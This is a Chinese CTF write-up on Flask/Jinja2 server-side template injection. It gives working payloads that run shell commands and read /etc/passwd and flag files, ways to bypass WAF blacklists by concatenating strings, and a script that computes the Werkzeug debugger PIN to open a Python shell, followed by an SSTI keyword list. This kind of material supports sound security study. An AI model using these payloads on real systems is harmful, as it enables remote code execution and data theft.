[BJDCTF 2nd]fake google
一般 SSTI 中,访问 os 模块都是从 warnings.catch_warnings 模块入手,这里就是先寻找该模块,g.__class__.__mro__[1] 获取基类,然后寻找 warnings.catch_warnings 模块,g.__class__.__mro__[1].__subclasses__()[169]
然后调用 __init__ 生成一个对象,从 __globals__ 中找可以执行命令或读取文件的模块或函数
这里就直接使用 eval 函数读取 flag
payload
g.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)
[WesternCTF2018]shrine
直接给了代码
import flask
import os
app = flask.Flask(__name__)
app.config[\'FLAG\'] = os.environ.pop(\'FLAG\')
@app.route(\'/\')
def index():
return open(__file__).read()
@app.route(\'/shrine/\')
def shrine(shrine):
def safe_jinja(s):
s = s.replace(\'(\', \'\').replace(\')\', \'\')
blacklist = [\'config\', \'self\']
return \'\'.join([\'{{% set {}=None%}}\'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == \'__main__\':
app.run(debug=True)
访问 /shrine/ 是 404,访问 /shrine/{{7*7}} 可以发现存在 SSTI 漏洞,在代码中过滤了 (, ), config, self ,并且说明了 flag 在 config 中,可以读取 app.config[\'FLAG\'] 或者 os.environ.pop(\'FLAG\')
这里的黑名单就锁死了 __subclasses__() 以及 config 和 self.__dict__
在 flask 的官方文档中写了一个 url_for 函数,在它引用的内容中,有着 current_app 的全局变量,然后就可以直接读取 flag 了 url_for.__globals__[\'current_app\'].config[\'FLAG\']
同样的,还有一个 get_flashed_messages 函数
[GYCTF2020]FlaskApp
进行解码测试的时候发现会报错,然后可以看到一部分代码
这部分代码说明存在 SSTI,并且需要绕过 waf() 函数,写了个 fuzz 脚本,过滤结果如下
b\'request\'
b\'__import__\'
b\'eval\'
b\'popen\'
b\'system\'
b\'flag\'
b\'*\'
b\'import\'
试着发现好像把命令执行的函数都给 ban 了,试着读取文件
payload : {{\'\'.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__[\'open\'](\'/etc/passwd\').read()}} 需要转为 base64
这里可以用字符串拼接来绕过
{{\'\'.__class__.__base__.__subclasses__()[131].__init__.__globals__[\'__builtins__\'][\'ev\'+\'al\'](\'__im\'+\'port__("o\'+\'s").po\'+\'pen("cat /this_is_the_fl\'+\'ag.txt")\').read()}}
读取 app.py
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config[\'SECRET_KEY\'] = \'s_e_c_r_e_t_k_e_y\'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField(\'BASE64加密\',validators= [DataRequired()])
submit = SubmitField(\'提交\')
class NameForm1(FlaskForm):
text = StringField(\'BASE64解密\',validators= [DataRequired()])
submit = SubmitField(\'提交\')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
@app.route(\'/hint\',methods=[\'GET\'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)
@app.route(\'/\',methods=[\'POST\',\'GET\'])
def encode():
if request.values.get(\'text\') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp) flash(tmp)
return redirect(url_for(\'encode\'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
@app.route(\'/decode\',methods=[\'POST\',\'GET\'])
def decode():
if request.values.get(\'text\') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for(\'decode\'))
res = render_template_string(tmp) flash( res )
return redirect(url_for(\'decode\'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
@app.route(\'/<name>\',methods=[\'GET\'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == \'__main__\':
app.run(host="0.0.0.0", port=5000, debug=True)
预期解法是要通过通过获取 pin 码打开python shell
生成PIN的关键值有如下几个
- 服务器运行 flask 所登录的用户名。 通过 /etc/passwd 中可以猜测为 flaskweb 或者 root ,此处用的flaskweb
- modname 一般不变就是 flask.app
-
getattr(app, "__name__", app.__class__.__name__)python 该值一般为 Flask,值一般不变 - flask 库下 app.py 的绝对路径,通过报错信息就会泄露该值。本题为
/usr/local/lib/python3.7/site-packages/flask/app.py - 当前网络的 mac 地址的十进制数。通过文件
/sys/class/net/eth0/address获取,本题为02:42:ae:01:54:15 - 最后一个就是机器的 id 对于非 docker 机每一个机器都会有自已唯一的 id ,linux的 id 一般存放在
/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows 的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup本题为201263bbeb51e7fc9fd059b0acb7769564dc66450fde4f8ad0a45bbb8a99e201
接下来就是获取 PIN 值,计算PIN值的关键代码在 Lib\site-packages\werkzeug\debug\__init__.py
import hashlib
from itertools import chain
probably_public_bits = [
\'flaskweb\',
\'flask.app\',
\'Flask\',
\'/usr/local/lib/python3.7/site-packages/flask/app.py\',
]
private_bits = [
# mac 地址的十进制数
\'2485410419733\',
# 机器的 id
\'201263bbeb51e7fc9fd059b0acb7769564dc66450fde4f8ad0a45bbb8a99e201\'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode(\'utf-8\')
h.update(bit)
h.update(b\'cookiesalt\')
cookie_name = \'__wzd\' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b\'pinsalt\')
num = (\'%09d\' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = \'-\'.join(num[x:x + group_size].rjust(group_size, \'0\')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到结果 676-092-706
然后选择右侧 shell 图标
输入 PIN 值
这里执行 os.system(\'ls /\') 返回为 0,是因为这个命令虽然执行了,但是没有获取执行的结果,即 os.system 仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息
[pasecactf_2019]flask_ssti
给了一段代码
def encode(line, key, key2):
return \'\'.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config[\'flag\'] = encode(\'\', \'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3\', \'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT\')
脚本跑一下发现过滤了 . ,_,\ 这里把 flag 写入到 config 中,直接读取 config 可以获取加密后的 flag
<Config {\'ENV\': \'production\', \'DEBUG\': False, \'TESTING\': False, \'PROPAGATE_EXCEPTIONS\': None, \'PRESERVE_CONTEXT_ON_EXCEPTION\': None, \'SECRET_KEY\': \'folow @osminogka.ann on instagram =)\', \'PERMANENT_SESSION_LIFETIME\': datetime.timedelta(days=31), \'USE_X_SENDFILE\': False, \'SERVER_NAME\': None, \'APPLICATION_ROOT\': \'/\', \'SESSION_COOKIE_NAME\': \'session\', \'SESSION_COOKIE_DOMAIN\': False, \'SESSION_COOKIE_PATH\': None, \'SESSION_COOKIE_HTTPONLY\': True, \'SESSION_COOKIE_SECURE\': False, \'SESSION_COOKIE_SAMESITE\': None, \'SESSION_REFRESH_EACH_REQUEST\': True, \'MAX_CONTENT_LENGTH\': None, \'SEND_FILE_MAX_AGE_DEFAULT\': datetime.timedelta(seconds=43200), \'TRAP_BAD_REQUEST_ERRORS\': None, \'TRAP_HTTP_EXCEPTIONS\': False, \'EXPLAIN_TEMPLATE_LOADING\': False, \'PREFERRED_URL_SCHEME\': \'http\', \'JSON_AS_ASCII\': True, \'JSON_SORT_KEYS\': True, \'JSONIFY_PRETTYPRINT_REGULAR\': False, \'JSONIFY_MIMETYPE\': \'application/json\', \'TEMPLATES_AUTO_RELOAD\': None, \'MAX_COOKIE_SIZE\': 4093, \'flag\': \'-M7\x10w@g?3Swc)\x0eK];\x00(DJ\x18X\x17xo\x04f\x02XN[-Wz*\x15hGZ\x1fG\'}>
由于异或算法,前面的 encode 脚本即为 decode 脚本
def encode(line, key, key2):
return \'\'.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
t = \'-M7\x10w@g?3Swc)\x0eK];\x00(DJ\x18X\x17xo\x04f\x02XN[-Wz*\x15hGZ\x1fG\'
s = encode(t, \'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3\', \'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT\')
print(s)
另外,buu 上题目描述的代码有误。
附
SSTI 关键词
[
]
(
\
)
{
}
_
__
.
g
\'\'
""
request
g
namespace
__dict__
__class__
__mro__
__bases__
__subclasses__
__init__
__globals__
self
config
url_for
get_flashed_messages
lipsum
current_app
range
session
dict
get_flashed_messages
cycler
joiner
__builtins__
__import__
eval
keys
index
values
popen
read
_TemplateReference__context
environ
application
_get_data_for_json
JSONEncoder
default
system
flag
*
?
import
_IterationGuard
catch_warnings
_ModuleLock
flag
chr
subprocess
commands
socket
hex
base64
模块位置寻找
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\'catch_warnings\' %}{{ [].__class__.__base__.__subclasses__().index(c) }}{% endif %}{% endfor %}